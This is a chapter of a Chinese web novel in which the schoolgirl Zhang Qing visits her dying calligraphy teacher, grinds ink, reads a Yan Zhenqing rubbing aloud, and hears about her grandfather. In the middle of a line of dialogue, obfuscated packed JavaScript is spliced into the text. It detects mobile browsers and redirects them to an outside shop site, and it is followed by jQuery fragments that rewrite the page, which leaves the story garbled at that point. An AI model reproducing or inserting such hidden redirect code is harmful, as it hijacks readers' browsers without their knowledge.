十月的风吹在脸上，已经有了冬天的凉意。
厂区的供暖管道开始试压了，墙里传来咕噜咕噜的水声。有时候半夜会发出奇怪的声音，像某种巨兽在墙里翻身。张清每个周末都去看周伯年，不是因为她答应过，而是因为她自己想来。
学校在月初办了一次月考。张清考了年级第三，语文和数学都是九十五分以上。班主任在班会上表扬了她，说她基础扎实，学习态度认真。张清没怎么往心里去。她每天想得最多的事情，是周末去周伯年家。
周六下午放学，她背着书包，直接去了周伯年家。
院子里比上次更冷清了。老槐树的叶子落光了，光秃秃的枝丫伸向天空。地上铺着一层枯叶，风一吹就沙沙作响。墙角堆着几根干柴，是老太太准备过冬用的。炊烟从厨房的烟囱里袅袅升起，带着一股柴火燃烧的焦香味。
她推开门。
屋里很暗。窗帘只拉开了一半，阳光从那一半照进来，在地上投下一块斜斜的光斑。灰尘在光柱里飞舞，跳动着生命的节奏。
周伯年躺在床上，眼睛闭着。
床头柜上放着那几张字。“远”字和“静”字还挂在那里，旁边又多了一张。那是张清上周写的，字迹比之前更稳了。周伯年把每一张她写的字都留着，挂在床头。无声的收藏，无言的等待。
“来了。”
周伯年的声音很轻。
张清走到床边。“周伯，您醒着？”
“睡着了也能感觉到。”周伯年睁开眼睛，“你脚步声和别人不一样。”
张清愣了一下。“我走路声音很大吗？”
“不是大不大，是稳不稳。”周伯年说，“你走路的时候，脚步声很均匀，一步一步的，有自己的节奏。”
张清不知道说什么。她在床边坐下，看着周伯年。老人的脸比上次更瘦了，眼窝深陷，颧骨突出。但那双眼睛还有神，亮亮的，灯盏一样。
“又瘦了。”周伯年说。
“没有。”张清说，“上周吃了三天肉。”
“骗人。”周伯年笑了一下，“你小时候也这么说。”
张清愣住了。“您记得？”
“你三岁的时候，我抱过你一次。”周伯年说，“那时候你妈抱着你，你一直哭，怎么哄都哄不好。后来我拿了一支毛笔给你玩，你就不哭了。”
张清不知道这件事。她从来不知道周伯年在她三岁的时候抱过她。那是很久以前的事了，久到她完全不记得。
“您还记得这种事？”
“老了，记得的都是以前的事。”周伯年说，“最近的事记不住，以前的事忘不了。”
他咳嗽了两声，呼吸变得有些急促。张清站起来，想去倒水。周伯年摆了摆手。
“没事。”他说，“你把墨研了。”
张清愣了一下。
周伯年的手已经握不住笔了。上次去，床头放着一支圆珠笔和几张纸。周伯年说在练手感，用圆珠笔在纸上画线条。但还是要研墨。
“研了也没用。”张清说，“您又写不了。”
“研了就有墨香。”周伯年说，“闻着心里踏实。”
张清没再说什么。她走到外屋，找出墨条和砚台。砚台是周伯年用了四十年的老砚。砚池边沿磨得发亮，那是无数次研墨留下的痕迹。墨条也很旧了，棱角都磨圆了。
她把墨条蘸了水，开始研。
墨香在空气里慢慢散开。
这个味道她太熟悉了。两年来，她在这个房间里研过无数次墨。墨条在砚池里转圈，细腻的墨汁从墨条边缘渗出来，一点一点把清水染成黑色。研墨是有讲究的，要顺时针转，要轻要慢，不能太急。她学了很久才学会。
她研得很慢，很仔细。
屋外的阳光渐渐暗下去。太阳落山了，屋里变得更暗。她没有开灯，就着窗外最后一点光继续研墨。墨香在昏暗的屋子里弥漫开来，带着一种让人安心的气息。
等她研好，周伯年已经睡着了。
老人躺在床上，呼吸很轻很浅。胸口起伏的幅度很小，随时会停下来的样子。张清站在那里，看着周伯年。
她想起很多事。
第一次来周伯年家，是两年前。那时候她才十岁，母亲让她去送一袋米。她不知道那是周伯年家，只是听母亲说隔壁单元有位老先生，喜欢写毛笔字。她去了，看见周伯年坐在桌前写字。
那一幕她永远忘不了。
周伯年握笔的姿势，蘸墨的动作，落笔的果敢。笔尖在纸上行走，有生命一样。她从那时候开始练字。到现在，两年了。
她写了几百个字，毁掉的更多。她学会了悬腕，学会了读帖，学会了感受墨色的变化。她学会了很多东西。但学得越久，越觉得自己不会的东西太多。
周伯年还在教她。用一种新的方式。
“张清。”
周伯年的声音响起。他醒了。
“周伯。”张清走到床边。
周伯年指了指床头柜上的老花镜。
“帮我把那个字帖拿来。”
张清把字帖递过去。是颜真卿的《多宝塔碑》。那是她很熟悉的字帖，周伯年很早以前就让她临过。但她临得不好，总是掌握不了颜体的气势。
周伯年接过字帖，翻了翻，然后递还给张清。
“你读给我听。”
张清愣了一下。“读？”
“嗯。读字。”周伯年闭上眼睛，“我听听。”
张清翻开字帖，开始读。
“大唐西京千福寺多宝塔感应碑文。南平县尉岑勋撰。朝散大夫皇太子率更令渤海县开国公颜真卿书。”
她一个字一个字地念，念得很慢，很清楚。读到“中有金刚之妙体”的时候，周伯年嘴角动了一下。
张清继续读。
“……天机复旦，庶物先知。仁慈接下，恩被群里……”
她不知道周伯年为什么让她读字帖。但她读得很认真，每一个字都不肯含糊。周伯年闭着眼睛听，表情很安详。窗外的光已经完全暗下来了，屋里只剩下从门缝透进来的一点微光。
读了大概半个小时，张清把字帖合上。
“读完了。”她说。
周伯年睁开眼睛。
“你读字的样子，像你爷爷。”
张清愣住了。
这是她第一次听到周伯年提起爷爷。之前周伯年只说“你爷爷是我师父”，从来没描述过爷爷的样子、爷爷的声音、爷爷的习惯。
“我爷爷？”张清问。
“你爷爷读帖的时候，也是这样。”周伯年说，“一字一字的念。念完了，就闭着眼睛，在脑子里写字。”
张清看着周伯年，不知道说什么。
“你爷爷读帖很慢。”周伯年继续说，“比我们这些师兄弟都慢。一页字帖，他要读一个时辰。读完一页，就闭上眼睛，在脑子里写。”
“他说，字不只是用眼睛看的。”
张清的心跳快了一些。
“您见过我爷爷写字吗？”她问。
“见过。”周伯年说，“见过很多次。”
他咳嗽了两声，呼吸变得有些急促。张清递过去一杯水。周伯年喝了一口，摆摆手示意没事。
“我师父——就是你爷爷——写字的时候，从不让人看。”周伯年说，“他一个人关在屋里，谁进去他就骂谁。但有一次我偷看过一次。”
张清屏住呼吸。
“他在写一个’安’字。”周伯年说，“一笔一画，很慢很慢。写完了，就对着那个字笑了一下。”
“那个’安’字后来去哪了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809219|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
？”
“不知道。”周伯年摇头，“我问他，他不说。后来他走了，那个字也没找到。”
张清低下头。
她想起第一章。奶奶留下的那个“安”字，压在箱底多少年。那是用最老的墨写的，字迹已经有些模糊了。但她记得那个字的样子，记得每一笔每一画。
那是不是爷爷写的那个“安”？她不知道。她不敢问。
“你爷爷是个好人。”周伯年说，“字写得好，人也好。”
张清点点头。
门开了。老太太端着一碗粥走进来。
“吃饭了。”她说。
周伯年撑着要坐起来，张清连忙扶了他一把。老人靠在床头，接过碗，慢慢地喝粥。粥很稀，能看见碗底。周伯年喝得很慢，一口要歇好几下。
“你周伯这段时间总念叨你。”老太太在旁边说，“说你学习忙，不用老跑。”
“他说不用来，就不来了？”张清问。
“他嘴上说不用来，心里盼着你来呢。”老太太笑了笑，眼角的皱纹挤在一起。
张清看着周伯年喝粥的样子。老人的动作很慢，每一口都要歇很久。但他还是坚持自己喝，不要人喂。
“你周伯年轻时也倔。”老太太突然说，“那时候有人请他写匾额，他写完了觉得不满意，把整张纸都撕了。人家又送来一张纸，他又写，写完又撕。连续撕了三张，最后那张才算勉强过关。”
张清看着周伯年。
“他说，字是门面。不能丢人的字，不能写。”周伯年笑了笑，“老了老了，倒把这话忘了。”
“您没忘。”张清说，“您写的每一个字，都没丢人。”
周伯年愣了一下，然后摇摇头。
“你爷爷也是这样的人。”周伯年放下碗，突然说。
“什么样的人？”
“不肯麻烦别人的人。”周伯年说，“你爷爷活着的时候，从不让人伺候。写字要一个人写，吃饭要自己端碗，走路不要人扶。”
张清没说话。
“他说，人活着要有骨气。”周伯年又说，“字也是这样。一笔一画，都要自己写。别人帮你写出来的，不是你的字。”
张清点点头。
她想起周伯年那封写了三天的信。七个字，每一个都是周伯年亲手写上去的。他不肯让人帮忙。
有些事不能替。就像写字。就像活着。
“你回去吧。”周伯年说，“天黑了。”
“我下周再来。”
“不用来了。”周伯年摆摆手，“快考试了吧。”
张清想反驳，但看见周伯年的眼神，把话咽了回去。那眼神很平静，平静得深潭一样。
“我考完再来。”她说。
周伯年没说话。他闭上眼睛，靠在床头，像是累了。
张清站在那里，看了很久。床头柜上放着几张字。“远”字，“静”字，还有她写的其他几张。周伯年全都留着，一张都没扔。她转身，往门口走。
走到门口，她停下来，回头看了一眼。
周伯年还保持着刚才的姿势，闭着眼睛，靠在床头。床头柜上的老花镜反射着窗外最后一点光。那张写着“静”字的纸在风中轻轻晃动。
“周伯。”张清开口。
“嗯？”周伯年没睁眼。
“我爷爷的字……您还记得多少？”
周伯年沉默了一会儿。
“记得一些。”他说，“但写不出来了。”
张清点点头。
“我记住了。”
她推开门，走进院子里。老槐树的枝丫在夜空中摇晃，月光照在上面，霜一样白。风很冷，吹得她缩了缩脖子。
她深吸一口气，往家的方向走去。
月亮挂在天上，又圆又亮。